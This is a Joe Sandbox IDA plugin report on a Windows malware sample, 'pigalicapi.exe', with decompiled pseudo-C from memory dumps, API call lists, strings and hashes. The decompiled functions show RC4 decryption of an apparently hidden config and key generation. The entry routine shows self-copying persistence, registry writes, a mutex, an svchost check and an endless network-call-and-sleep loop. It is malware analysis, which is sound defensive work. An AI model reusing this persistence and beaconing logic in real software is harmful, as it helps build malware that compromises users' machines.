Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Virtual$Alloclstrcat$CloseFreeHandleProcess$CreateEnvironmentTerminateVariable
String ID: D$SystemRoot$\system32\svchost.exe
API String ID: 1819736980-1559310322
Opcode ID: 618df5bf54c1a5a0a6d1612c0a6f02d09146bff70f4639aa179a0dfbd2a6d315
Instruction ID: 24de31acf85f81f6cd7956eb3c6d21bf067972eab508d3ad9c1f9881985dd567
Opcode Fuzzy Hash: 618df5bf54c1a5a0a6d1612c0a6f02d09146bff70f4639aa179a0dfbd2a6d315
Instruction Fuzzy Hash: 27D13F71A44215ABEB28DF54CC94FAE77B9FB48304F0486D8F609B7281D678AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 040047F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E040047F0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v5;
				long* _v12;
				char _v28;
				char _v764;
				char _v780;
				intOrPtr _v784;
				char _v788;
				int _v792;
				int _v796;
				intOrPtr _v800;
				long* _v804;
				int _v808;
				int _v812;
				char _v816;
				int _v820;
				char _v824;
				char _v828;
				char _v844;
				int _t61;
				char* _t67;
				intOrPtr _t68;
				int _t69;
				char* _t73;
				intOrPtr _t74;
				intOrPtr _t76;
				intOrPtr _t77;
				signed char _t78;
				void* _t109;

				_v5 = 0;
				if(_a4 == 0 || _a8 <= 0x300) {
					L25:
					return _v5;
				} else {
					_v12 = 0;
					_t61 = CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t61 == 0 && GetLastError() == 0x80090016) {
						CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
					}
					if(_v12 != 0) {
						_v788 = 0x10;
						_v784 = 0x10;
						_v792 = 0;
						while(_v792 < _a8 - 0x2ff) {
							E04007B70( &_v780, _a4 + _v792, 0x300);
							_t109 = _t109 + 0xc;
							_t67 =  &_v780;
							_v800 = _t67;
							_v796 = 0;
							__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v796); // executed
							if(_t67 == 0) {
								L21:
								if((_v5 & 0x000000ff) == 0) {
									_v792 = _v792 + 1;
									continue;
								}
								break;
							}
							_t68 = _v800;
							__imp__CryptHashData(_v796, _t68, 0x10, 0);
							if(_t68 != 0) {
								_v804 = 0;
								_t69 = _v796;
								__imp__CryptDeriveKey(_v12, 0x6801, _t69, 1,  &_v804); // executed
								if(_t69 != 0) {
									_v812 = 0x2f0;
									_v808 = CryptDecrypt(_v804, 0, 1, 0,  &_v764,  &_v812);
									CryptDestroyKey(_v804);
									if(_v808 != 0) {
										_t73 =  &_v816;
										__imp__CryptCreateHash(_v12, 0x8003, 0, 0, _t73);
										if(_t73 != 0) {
											_t74 = _v816;
											__imp__CryptHashData(_t74,  &_v780, 0x2f0, 0);
											if(_t74 != 0) {
												_v820 = 0;
												_v824 = 4;
												_t76 = _v816;
												__imp__CryptGetHashParam(_t76, 4,  &_v820,  &_v824, 0);
												if(_t76 != 0) {
													_v828 = 0x10;
													_t77 = _v816;
													__imp__CryptGetHashParam(_t77, 2,  &_v844,  &_v828, 0);
													if(_t77 != 0) {
														_t78 = E04007C70( &_v28,  &_v844,  &_v28, 0x10);
														_t109 = _t109 + 0xc;
														if((_t78 & 0x000000ff) != 0) {
															E04007B70(_a12,  &_v780, 0x300);
															_t109 = _t109 + 0xc;
															_v5 = 1;
														}
													}
												}
											}
											__imp__CryptDestroyHash(_v816);
										}
									}
								}
							}
							__imp__CryptDestroyHash(_v796);
							goto L21;
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L25;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 0400482A
GetLastError.KERNEL32 ref: 04004834
CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04004850
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
CryptDestroyKey.ADVAPI32(00000000), ref: 04004982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 040049A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 040049CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 04004A07

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04004845
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 0400481F

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$AcquireContextCreateData$DecryptDeriveDestroyErrorLastParam
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 2739279601-947817771
Opcode ID: 42090ebe0b84d1e6b92d05052a41d8df984fe46a239ada941c44efd33afc4f41
Instruction ID: 68028e15a08110d1318f396c41aabee13b9dff780772823a15a50aa733777c46
Opcode Fuzzy Hash: 42090ebe0b84d1e6b92d05052a41d8df984fe46a239ada941c44efd33afc4f41
Instruction Fuzzy Hash: 7E71DF71A54318ABFB65CF50CC45BED77BCAB48B04F408598A605BA1C0DBB9ABC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04003B00 Relevance: 23.1, APIs: 8, Strings: 5, Instructions: 302
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			_entry_() {
				intOrPtr _v8;
				char _v1148;
				signed char _v1149;
				intOrPtr _v1156;
				char _v1556;
				char _v9556;
				long _v9560;
				char _v9564;
				char _v12068;
				signed int _v12072;
				char _v12076;
				long _v12080;
				char _v12081;
				long _v12088;
				long _v12092;
				long _v12096;
				signed int _v12100;
				signed char _v12101;
				long _v12108;
				signed int _v12112;
				void* _v12116;
				signed char _t69;
				intOrPtr _t74;
				signed char _t77;
				signed char _t79;
				signed int _t80;
				signed char _t85;
				signed char _t86;
				signed char _t87;
				intOrPtr _t88;
				char* _t89;
				signed int _t97;
				void* _t98;
				signed int _t100;
				signed char _t102;
				signed char _t104;
				signed char _t106;
				signed char _t110;
				signed int _t116;
				signed int _t118;
				char _t125;
				signed int _t138;
				signed int _t140;
				intOrPtr _t143;
				signed int _t159;
				signed int _t161;
				void* _t163;
				void* _t165;
				void* _t173;
				void* _t177;

				E04001000(0x2f50);
				_v8 = E04003130();
				E04002ED0(_v8);
				GetModuleFileNameA(0, "C:\Users\engineer\pigalicapi.exe", 0x208);
				SetUnhandledExceptionFilter(E04005DB0); // executed
				__imp__CoInitialize(0); // executed
				_t69 = E04004510(_v8, 0x4013c88); // executed
				_t165 = _t163 + 0xc;
				if((_t69 & 0x000000ff) == 0) {
					L39:
					ExitProcess(0);
				}
				E04007D20( &_v1148,  &_v1148, 0, 0x46b);
				E04005700( &_v1148); // executed
				_t143 =  *0x40118a0; // 0x4013b88
				_t74 = E04005A00( &_v1148, _t143, 0xff); // executed
				_v1156 = _t74;
				E04007D20(_t74, "Kobucgekyxca", 0, 0x12c);
				E04009400( &_v1148, "Kobucgekyxca", 0xa); // executed
				_t77 = E040099F0(); // executed
				 *0x401435a = _t77;
				 *0x401435d = E04006060(); // executed
				_t79 = E04005E00(); // executed
				 *0x401435e = _t79;
				_t80 = StrStrIA("C:\Users\engineer\pigalicapi.exe", "svchost.exe"); // executed
				asm("sbb eax, eax");
				 *0x4014362 =  ~( ~_t80);
				E04001120("C:\Users\engineer\pigalicapi.exe", "pigalicapi",  *0x401435a & 0x000000ff,  *0x4014362 & 0x000000ff, 0x401436c); // executed
				_t85 = E04005E30(0); // executed
				 *0x401435b = _t85;
				 *0x401435f = 1; // executed
				_t86 = E04006CF0(); // executed
				_v1149 = _t86;
				_t87 = E04005F30(); // executed
				 *0x401435c = _t87 & 0x000000ff | _v1149 & 0x000000ff;
				_t88 = E04009B90(0xffffffff);
				_t173 = _t165 + 0x50;
				 *0x4014364 = _t88;
				_t89 =  &_v1556;
				_push(_t89);
				_push(0x202); // executed
				L0400B1E6(); // executed
				if(_t89 != 0) {
					goto L39;
				} else {
					_t125 =  *0x40119a8; // 0x1d
					_v12081 = _t125;
					 *0x4014378 = 0x10;
					if(( *0x401435f & 0x000000ff) != 0) {
						_t118 =  *0x4014378; // 0x1b
						 *0x4014378 = _t118 | 0x00000008;
					}
					if(( *0x401435c & 0x000000ff) != 0) {
						_t161 =  *0x4014378; // 0x1b
						 *0x4014378 = _t161 | 0x00000001;
					}
					if(( *0x401435b & 0x000000ff) != 0) {
						_t140 =  *0x4014378; // 0x1b
						 *0x4014378 = _t140 | 0x00000004;
					}
					if(( *0x401435e & 0x000000ff) != 0) {
						_t116 =  *0x4014378; // 0x1b
						 *0x4014378 = _t116 | 0x00000002;
					}
					if(( *0x4014360 & 0x000000ff) != 0) {
						_t159 =  *0x4014378; // 0x1b
						 *0x4014378 = _t159 | 0x00000020;
					}
					_t91 =  *0x4014361 & 0x000000ff;
					if(( *0x4014361 & 0x000000ff) != 0) {
						_t138 =  *0x4014378; // 0x1b
						 *0x4014378 = _t138 | 0x00000040;
					}
					_v9564 = 0x9c3;
					E04007D20(_t91,  &_v12068, 0, 0x9c4);
					E0400A700();
					E0400A4B0( &_v12068,  &_v9564, 0x4013cb6,  *0x4013cb4 & 0x0000ffff);
					_v9560 = 0;
					_t97 = E04005B50( &_v12068, ";",  &_v9560, 0); // executed
					_v12072 = _t97;
					_v12092 = 0;
					_v12080 = 0;
					_v12076 = 0x4b0;
					_t98 = E04008A70(0x4012c34,  &_v12076, 0x4012ba8, 0x8c, 0x400e008, 0x254); // executed
					_t177 = _t173 + 0x44;
					if(_t98 != 0) {
						E04007D20( &_v9556,  &_v9556, 0, 0x1f40);
						E040078D0(0x4012c34, 0xc8,  &_v9556, 0xc8);
						_t177 = _t177 + 0x1c;
						_v12092 =  &_v9556;
						_v12080 = 0xc8;
					}
					_v12088 = 0;
					L17:
					_v12101 = 0;
					_v12108 = 0x1d4c0;
					_v12096 = 0;
					_t100 = E04007970( &_v12096); // executed
					_v12100 = _t100;
					_t102 = E04004020(_v12096, _v12100,  &_v1148, 1, 2, 0);
					_t177 = _t177 + 0x1c;
					if((_t102 & 0x000000ff) != 0) {
						_v12101 = 1;
					} else {
						_t104 = E04004020(_v12092, _v12080,  &_v1148, 1, 5, 0);
						_t177 = _t177 + 0x18;
						if((_t104 & 0x000000ff) != 0) {
							_v12101 = 1;
						} else {
							_t106 = E04004020(_v9560, _v12072,  &_v1148, 3, 0xa, 1); // executed
							_t177 = _t177 + 0x18;
							if((_t106 & 0x000000ff) != 0) {
								_v12101 = 1;
							} else {
								_v12116 = 0;
								_v12112 = E040042E0( &_v12116);
								_t110 = E04004020(_v12116, _v12112,  &_v1148, 1, 0x17, 0);
								_t177 = _t177 + 0x1c;
								if((_t110 & 0x000000ff) != 0) {
									_v12101 = 1;
								}
								if(_v12116 != 0) {
									VirtualFree(_v12116, 0, 0x8000);
								}
							}
						}
					}
					if((_v12101 & 0x000000ff) != 0) {
						if( *0x40118a4 != 1) {
							if( *0x40118a4 == 2) {
								 *0x40118a4 = 1;
								_v12108 = 0x1499700;
							}
						} else {
							if( *0x40130e4 != 2) {
								_v12108 = 0x1499700;
							} else {
								_v12108 = 0x3e8;
								 *0x40118a4 = 2;
							}
						}
					}
					Sleep(_v12108); // executed
					goto L17;
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\pigalicapi.exe,00000208), ref: 04003B2D
SetUnhandledExceptionFilter.KERNEL32(04005DB0), ref: 04003B38
CoInitialize.OLE32(00000000), ref: 04003B40

Part of subcall function 04004510: GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0400456C
Part of subcall function 04004510: CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0400458B
Part of subcall function 04004510: GetFileSize.KERNEL32(000000FF,00000000), ref: 040045AD
Part of subcall function 04004510: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040045D6
Part of subcall function 04004510: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04004617
Part of subcall function 04004510: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400463E
Part of subcall function 04004510: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040047C0
Part of subcall function 04004510: CloseHandle.KERNEL32(00000000), ref: 040047E0

ExitProcess.KERNEL32 ref: 0400400C

Part of subcall function 04005700: GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 04005742
Part of subcall function 04005700: lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 040057B8
Part of subcall function 04005700: GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 040057F1
Part of subcall function 04005700: wnsprintfA.SHLWAPI ref: 0400582F
Part of subcall function 04005700: CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005854
Part of subcall function 04005700: GetFileSize.KERNEL32(000000FF,00000000), ref: 0400586D

Part of subcall function 04005A00: lstrcpyA.KERNEL32(Sscculmqcxgnq,WDefault), ref: 04005A47
Part of subcall function 04005A00: lstrlenA.KERNEL32(0400C4E0), ref: 04005A7D
Part of subcall function 04005A00: lstrcpyA.KERNEL32(00000000,0400C4E0), ref: 04005A97
Part of subcall function 04005A00: lstrlenA.KERNEL32(00000000), ref: 04005AA1
Part of subcall function 04005A00: lstrlenA.KERNEL32(Sscculmqcxgnq), ref: 04005AAE
Part of subcall function 04005A00: lstrcatA.KERNEL32(00000000,Sscculmqcxgnq), ref: 04005AC8
Part of subcall function 04005A00: RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 04005B00
Part of subcall function 04005A00: RegCloseKey.KERNEL32(00000000), ref: 04005B0E
Part of subcall function 04005A00: lstrlenA.KERNEL32(00000000), ref: 04005B3B

Part of subcall function 04009400: lstrcpyA.KERNEL32(?,00000000), ref: 04009513
Part of subcall function 04009400: CharUpperA.USER32(?), ref: 04009521

Part of subcall function 040099F0: GetCurrentProcess.KERNEL32(00000008,?), ref: 04009A0A
Part of subcall function 040099F0: OpenProcessToken.ADVAPI32(00000000), ref: 04009A11
Part of subcall function 040099F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 04009A3A
Part of subcall function 040099F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 04009A77
Part of subcall function 040099F0: CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 04009AAD
Part of subcall function 040099F0: EqualSid.ADVAPI32(?,00000000), ref: 04009AC3

Part of subcall function 04006060: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 04006082

Part of subcall function 04005E00: CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,04003BEB), ref: 04005E0C
Part of subcall function 04005E00: GetLastError.KERNEL32(?,04003BEB), ref: 04005E12

StrStrIA.SHLWAPI(C:\Users\user\pigalicapi.exe,svchost.exe), ref: 04003BFA

Part of subcall function 04001120: lstrlenA.KERNEL32(00000000), ref: 04001148
Part of subcall function 04001120: lstrlenA.KERNEL32(00000000), ref: 0400115A
Part of subcall function 04001120: GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 04001182
Part of subcall function 04001120: wnsprintfA.SHLWAPI ref: 040011BD
Part of subcall function 04001120: lstrcmpiA.KERNEL32(00000104,?), ref: 040011D1
Part of subcall function 04001120: CopyFileA.KERNEL32(00000104,?,00000000), ref: 040011F0
Part of subcall function 04001120: SetFileAttributesA.KERNEL32(?,00000006), ref: 040011FF
Part of subcall function 04001120: lstrcpyA.KERNEL32(00000104,?), ref: 04001210
Part of subcall function 04001120: lstrcpyA.KERNEL32(00000000,?), ref: 04001249
Part of subcall function 04001120: lstrcpyA.KERNEL32(-00000208,00000000), ref: 0400125D
Part of subcall function 04001120: CreateThread.KERNEL32 ref: 04001274

Part of subcall function 04005E30: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 04005E7E
Part of subcall function 04005E30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005EB2
Part of subcall function 04005E30: RegDeleteValueA.ADVAPI32(00000000,?), ref: 04005ED6
Part of subcall function 04005E30: RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 04005F0B
Part of subcall function 04005E30: RegCloseKey.KERNEL32(00000000), ref: 04005F19

Part of subcall function 04006CF0: RegOpenKeyExA.KERNEL32(80000001,04013B88,00000000,000F003F,00000000), ref: 04006D30
Part of subcall function 04006CF0: RegQueryValueExA.KERNEL32(00000000,04013FA6,00000000,00000003,?,00000020), ref: 04006D61
Part of subcall function 04006CF0: RegDeleteValueA.ADVAPI32(00000000,04013FA6), ref: 04006D7E
Part of subcall function 04006CF0: RegCloseKey.ADVAPI32(00000000), ref: 04006D88

Part of subcall function 04005F30: lstrcpyA.KERNEL32(?,pigalicapi), ref: 04005F67
Part of subcall function 04005F30: lstrcatA.KERNEL32(?,04013FE2), ref: 04005F7A
Part of subcall function 04005F30: RegOpenKeyExA.KERNEL32(80000001,04003C58,00000000,000F003F,00000000), ref: 04005FB3
Part of subcall function 04005F30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005FF2
Part of subcall function 04005F30: RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400603B
Part of subcall function 04005F30: RegCloseKey.ADVAPI32(00000000), ref: 04006045

WSAStartup.WS2_32(00000202,?), ref: 04003C85

Part of subcall function 04004020: InitializeCriticalSection.KERNEL32(?), ref: 04004066
Part of subcall function 04004020: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0400407A
Part of subcall function 04004020: EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
Part of subcall function 04004020: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
Part of subcall function 04004020: TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
Part of subcall function 04004020: ResetEvent.KERNEL32(00000000), ref: 040040F7
Part of subcall function 04004020: LeaveCriticalSection.KERNEL32(?), ref: 04004101
Part of subcall function 04004020: CreateThread.KERNEL32 ref: 04004118

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04003F70
Sleep.KERNEL32(?), ref: 04003FF4

Strings

Kobucgekyxca, xrefs: 04003BAF, 04003BBE
R+g, xrefs: 04003D7F
pigalicapi, xrefs: 04003C20
svchost.exe, xrefs: 04003BF0
C:\Users\user\pigalicapi.exe, xrefs: 04003B26, 04003BF5, 04003C25

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$Createlstrcpy$Value$Closelstrlen$ModuleNameOpenVirtual$CriticalFreeProcessQuerySectionThreadToken$DeleteDirectoryEventInformationInitializeProfileSizeUserslstrcatwnsprintf$AllocAttributesChangeCharCopyCurrentEnterEqualErrorExceptionExitFilterFindHandleKnownLastLeaveMutexNotificationReadResetSleepStartupTerminateUnhandledUpperWelllstrcmpi
String ID: C:\Users\user\pigalicapi.exe$Kobucgekyxca$R+g$pigalicapi$svchost.exe
API String ID: 1389186475-3751886320
Opcode ID: 936e491051d98ae6235cf02158d581c5c2971d700090c455091cf7b57a494376
Instruction ID: 63648f9aec36bb26e753af5ac432a688f143a616cbd4529da37374c18a699aed
Opcode Fuzzy Hash: 936e491051d98ae6235cf02158d581c5c2971d700090c455091cf7b57a494376
Instruction Fuzzy Hash: 7EC11AB0944364AAF725DF64AC19BFA77B0AB04709F0480FDE6487A1E1DB7C6A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008800 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 113
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E04008800(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				signed int _v24;
				signed int _v28;
				long* _v32;
				char* _t41;
				int _t42;
				signed int _t43;
				intOrPtr _t46;
				int _t49;
				int _t51;
				char* _t71;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L19:
					return _v8;
				} else {
					_v12 = 0;
					_t41 =  *0x4013370; // 0x400c6e4
					_t42 = CryptAcquireContextA( &_v12, _t41, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t42 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t71 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t71, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v28 = 0x80;
						_v20 = 0;
						_v24 = _v28 << 0x00000010 | 0x00000001;
						_t43 = _v24;
						__imp__CryptGenKey(_v12, 0x6801, _t43,  &_v20); // executed
						if(_t43 != 0) {
							_t46 = _a4;
							__imp__CryptExportKey(_v20, 0, 8, 0, _t46, _a8);
							if(_t46 != 0) {
								if(_a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
									_v8 = 1;
								} else {
									_v32 = 0;
									_t49 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v32); // executed
									if(_t49 != 0) {
										_t51 = _v20;
										__imp__CryptExportKey(_t51, _v32, 1, 0, _a12, _a16); // executed
										_v8 = _t51;
										CryptDestroyKey(_v32);
									}
								}
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L19;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,04008420,00000000,00001000,00000000), ref: 0400883B
GetLastError.KERNEL32 ref: 04008845
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008874
CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 040088AF
CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 040088CF
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 0400890C
CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 0400892A
CryptDestroyKey.ADVAPI32(?), ref: 04008937
CryptDestroyKey.ADVAPI32(00000000), ref: 0400894A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008956

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 0400882C
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008864

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Context$AcquireDestroyExport$ErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3052018297-947817771
Opcode ID: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction ID: e62ef6a9a3e861f5d7bfaf583d60d4f1649157d47df97182d85979e93aebb629
Opcode Fuzzy Hash: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction Fuzzy Hash: E641E972A00209EBFB54EF94C849BAE77B9FB44705F14C518F615B61C0C7B9AA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04008BB0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E04008BB0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, int _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				int _v24;
				char _v28;
				int _v32;
				char* _t36;
				int _t37;
				intOrPtr _t39;
				char* _t41;
				intOrPtr _t43;
				char* _t57;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L17:
					return _v8;
				} else {
					_v12 = 0;
					_t36 =  *0x4013370; // 0x400c6e4
					_t37 = CryptAcquireContextA( &_v12, _t36, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t37 == 0) {
						_t37 = GetLastError();
						_v16 = _t37;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t57 =  *0x4013370; // 0x400c6e4
							_t37 = CryptAcquireContextA( &_v12, _t57, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t37 != 0) {
							_t39 = _a8;
							__imp__CryptHashData(_v20, _a4, _t39, 0);
							if(_t39 != 0) {
								_v24 = 0;
								_v28 = 4;
								_t41 =  &_v28;
								__imp__CryptGetHashParam(_v20, 4,  &_v24, _t41, 0);
								if(_t41 != 0 && _a16 >= _v24) {
									_v32 = _a16;
									_t43 = _a12;
									__imp__CryptGetHashParam(_v20, 2, _t43,  &_v32, 0);
									if(_t43 != 0) {
										_v8 = _v32;
									}
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L17;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
GetLastError.KERNEL32 ref: 04008C09
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008BF0
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008C28

Memory Dump Source

Source File: 00000006.00000002.599674473.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000006.00000002.599568479.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600041047.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.600183506.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 731959895-947817771
Opcode ID: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction ID: 7e4f484856ccd150e5ceb993e2d8e8a423e5286abb412a2c571c9cca470c08b6
Opcode Fuzzy Hash: c04671c4f16af3ba3265102b35b0728ece87a0365c7276e8c5171731790e3264
Instruction Fuzzy Hash: 4E41C772A50209ABEB14DF94C849FAFB7B9FB44705F14C529A601B61C0D7B8AA84CB60

Uniqueness

